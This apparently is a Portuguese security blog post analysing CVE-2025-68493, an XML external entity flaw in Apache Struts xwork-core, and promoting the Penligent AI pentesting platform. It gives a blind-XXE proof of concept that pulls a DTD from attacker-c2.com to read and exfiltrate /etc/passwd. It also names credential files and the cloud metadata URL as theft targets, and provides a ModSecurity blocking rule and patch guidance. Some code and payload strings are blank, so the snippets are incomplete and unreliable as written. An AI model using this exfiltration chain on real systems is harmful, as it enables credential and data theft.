Cabeçalho penumbroso

Análise do CVE-2025-68493: A falha do XWork que desmantela a segurança da infraestrutura de IA

No cenário de rápida evolução da IA geradora, os engenheiros de segurança geralmente se concentram em ameaças específicas do modelo - injeção de prompt, quebra de cadeia ou envenenamento de dados. No entanto, o lançamento do CVE-2025-68493 em 11 de janeiro de 2026, serve como um lembrete brutal: a infraestrutura legada que envolve seus modelos de última geração geralmente é o elo mais fraco.

Este artigo fornece uma autópsia técnica da vulnerabilidade crítica encontrada no Apache Struts xwork-core componente. Analisaremos a causa raiz no nível do código, exploraremos seu potencial devastador nos pipelines de MLOps e discutiremos estratégias de correção que vão desde a aplicação imediata de patches até a defesa automatizada orientada por IA.

Análise do CVE-2025-68493: A falha do XWork que desmantela a segurança da infraestrutura de IA

A anatomia técnica do CVE-2025-68493

Embora o Apache Struts tenha um histórico notório de execução remota de código (RCE) por meio de injeção de OGNL (re: Equifax), CVE-2025-68493 ataca um vetor diferente: Lógica de análise de XML.

O escopo da vulnerabilidade

  • Componente: xwork-core (A estrutura de padrão de comando subjacente ao Struts 2).
  • Tipo de vulnerabilidade: Injeção de entidade externa XML (XXE) devido à falta de validação XML [CWE-112].
  • Versões afetadas: Apache Struts 2.0.0 - 6.1.0.
  • Pontuação CVSS v3.1: 9,8 (Crítico).

Análise da causa raiz

A vulnerabilidade decorre da XWorkConverter e seu tratamento de descritores de configuração específicos. Quando a estrutura processa uma solicitação HTTP com Content-Type: application/xmlSe a carga útil for desserializada, o analisador XML subjacente (geralmente o Xerces, envolvido pelo Struts) é instanciado para desserializar a carga útil.

Nas versões afetadas, o DomHelper A classe não desativa explicitamente o processamento de DTD (Document Type Definition) e a resolução de entidades externas por padrão.

Uma implementação segura requer a configuração de sinalizadores de recursos específicos no DocumentBuilderFactory. A ausência desses sinalizadores em CVE-2025-68493 cria a abertura:

Java

// PADRÃO DE CÓDIGO VULNERÁVEL (Conceitual) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Falta: dbf.setFeature("", true); // Falta: dbf.setFeature("", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // Ponto de disparo

Sem essas proteções, um invasor pode definir entidades mal-intencionadas no cabeçalho DOCTYPE que o servidor é forçado a resolver.

Por que isso é importante para a infraestrutura de IA e MLOps

Você pode se perguntar: "Executamos o Python/PyTorch para inferência. Por que uma vulnerabilidade da estrutura Java é importante?"

A realidade da IA empresarial é a hibridez. Enquanto o modelo é executado em um ambiente Python em contêiner, o Camada de orquestração, Gateway de APIe Lagos de dados legados A alimentação desses modelos é frequentemente construída em pilhas Java maduras, como Struts ou Spring.

O CVE-2025-68493 expõe três riscos específicos aos sistemas de IA:

1. Peso do modelo e exfiltração do conjunto de dados (LFI)

Um ataque XXE permite a inclusão de arquivos locais. Se o seu aplicativo Struts tiver acesso de leitura ao sistema de arquivos (o que geralmente acontece em contêineres de usuários não root), um invasor poderá ler os arquivos de configuração.

  • Alvo: /root/.huggingface/token ou aws_credentials.
  • Impacto: Os invasores roubam as credenciais necessárias para extrair seus pontos de verificação proprietários ou conjuntos de dados privados dos buckets do S3.

2. SSRF contra serviços de metadados (Cloud Jacking)

Esse é o vetor mais crítico para a IA nativa da nuvem. Ao forçar o analisador XML a fazer solicitações HTTP, os invasores podem atingir o serviço de metadados de instância (IMDS).

  • Alvo de carga útil: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Impacto: Roubo da função de IAM anexada à instância do EC2. Em clusters de IA, essas funções geralmente têm amplas permissões para provisionar instâncias caras de GPU (instâncias P4/P5), o que leva ao sequestro de recursos para mineração de criptografia ou treinamento não autorizado.

3. Negação de serviço (ataque Billion Laughs)

Os servidores de inferência de IA consomem muitos recursos. Um ataque recursivo de expansão de entidade ("Billion Laughs") enviado via CVE-2025-68493 pode esgotar a memória do servidor, causando o travamento do nó de orquestração e interrompendo a disponibilidade do serviço de IA.

Simulação de vetor de ataque: Prova de conceito

Abaixo está uma recriação técnica de como um invasor explora essa vulnerabilidade.

Cenário: Uma ação Struts herdada é usada para analisar perfis de usuário antes de passar os dados para um mecanismo de recomendação.

Cabeçalho da solicitação:

HTTP

POST /struts2-showcase/person/create.action HTTP/1.1 Host: vulnerable-ai-gateway.corp Content-Type: application/xml

Carga útil maliciosa (Blind XXE com exfiltração fora de banda):

Em muitas configurações modernas, a resposta do servidor é higienizada, o que significa que você não verá o conteúdo do arquivo diretamente na resposta HTTP (Blind XXE). Os invasores usam entidades de parâmetro para enviar dados a um servidor controlado.

XML

<!DOCTYPE root [ <!ENTITY % remote SYSTEM ""> %remote; ]> John Doe &exfiltrate;

Conteúdo de eval.dtd hospedado no servidor do atacante:

XML

<!ENTITY % eval ""> %eval;

Fluxo de execução:

  1. O analisador do Struts lê o XML principal.
  2. Ele obtém a DTD externa de attacker-c2.com.
  3. Ele analisa o DTD externo, que o instrui a ler /etc/passwd.
  4. Ele envia o conteúdo de /etc/passwd de volta ao servidor do invasor como um parâmetro de URL.
Análise do CVE-2025-68493: A falha do XWork que desmantela a segurança da infraestrutura de IA

Estratégia de detecção e remediação

Mitigação imediata (a fase de "estancar o sangramento")

Se não for possível implementar o patch imediatamente, você deverá aplicar regras rígidas de WAF (Web Application Firewall) no seu controlador de entrada.

Exemplo de regra ModSecurity:

Apache

SecRule REQUEST_BODY "(?i)<!DOCTYPE" \\ "id:1001,phase:2,t:none,log,deny,status:403,msg:'Potencial injeção de XML detectada (CVE-2025-68493)'"

Observação: esse é um instrumento contundente. Ele bloqueia todas as DTDs, o que pode interromper os pontos de extremidade SOAP legítimos. Teste primeiro na fase de preparação.

A correção oficial

Atualize para Apache Struts 6.1.1+. A equipe do Apache corrigiu o xwork-core para ignorar entidades externas por padrão. Verifique a atualização verificando o núcleo do struts2 Versão do JAR em seu WEB-INF/lib ou na árvore de dependências do Maven.

DependênciaVersão vulnerávelVersão corrigida
núcleo do struts2< 6.1.16.1.1+
xwork-core< 6.1.16.1.1+

Dimensionamento da segurança: O papel da IA na validação de vulnerabilidades

Em arquiteturas complexas de microsserviços, a simples execução de um scanner de vulnerabilidades (como o Nessus ou o OpenVAS) gera um enorme ruído. Os scanners correspondem aos números de versão, mas muitas vezes não conseguem validar se o configuração é explorável. Isso cria uma "fadiga de alertas" para as equipes de segurança.

É nesse ponto que o paradigma muda de Varredura estática para Teste de penetração autêntica.

Exploração automatizada com a Penligent

A segurança moderna exige ferramentas que "pensem" como um invasor. Penligente (penligent.ai) representa a próxima geração de plataformas de testes automatizados de penetração. Ao contrário dos scanners tradicionais que usam correspondência de regex, a Penligent utiliza agentes orientados por LLM para entender o contexto do aplicativo.

Como a Penligent lida com o CVE-2025-68493:

  1. Descoberta contextual: A Penligent identifica o Content-Type: application/xml mesmo que não estejam documentados ou estejam ocultos por trás de rotas de API complexas.
  2. Construção de carga útil inteligente: Em vez de distribuir cargas úteis genéricas, o agente Penligent analisa o comportamento do aplicativo. Se detectar uma assinatura do Struts, ele constrói um PoC específico para o CVE-2025-68493.
  3. Validação segura: O agente tenta acionar uma interação benigna (por exemplo, uma pesquisa de DNS via XXE) em vez de ler arquivos confidenciais, comprovando a capacidade de exploração sem arriscar a privacidade dos dados.
  4. Eliminação de falsos positivos: Ao validar o caminho de execução, a Penligent filtra o ruído. Se a biblioteca estiver presente, mas o analisador XML estiver configurado com segurança, a Penligent a marcará como "Segura", poupando horas de investigação à sua equipe.

Para as equipes que gerenciam centenas de serviços, a capacidade de dizer "A Penligent verificou 300 serviços, e apenas 2 são realmente exploráveis" é a diferença entre um fim de semana caótico e um ciclo de patches gerenciado.

Conclusão

CVE-2025-68493 não é apenas mais um item de linha em um relatório de vulnerabilidade; é uma fraqueza estrutural na base de muitas plataformas de IA corporativas. A capacidade de passar de um componente Java legado para o controle de serviços de metadados na nuvem torna essa ameaça de nível 1.

Os engenheiros de segurança devem ir além da metodologia "remendar e rezar". Ao compreender a mecânica de análise de XML de baixo nível e aproveitar as ferramentas ofensivas baseadas em IA, como a Penligent, podemos garantir que nossa infraestrutura permaneça tão resiliente quanto os modelos que criamos.

Próxima etapa para você:

Faça uma auditoria em seu SBOM (Software Bill of Materials) hoje para verificar se há versões do struts2-core abaixo da 6.1.1. Se forem encontradas, isole o contêiner imediatamente e inicie seu protocolo de resposta a incidentes.

Referências:

  1. Boletins de segurança do Apache Struts (fonte oficial)
  2. NVD - Análise detalhada do CVE-2025-68493
  3. Folha de dicas da OWASP: Prevenção de entidades externas XML
Compartilhe a postagem:
Publicações relacionadas
pt_BRPortuguese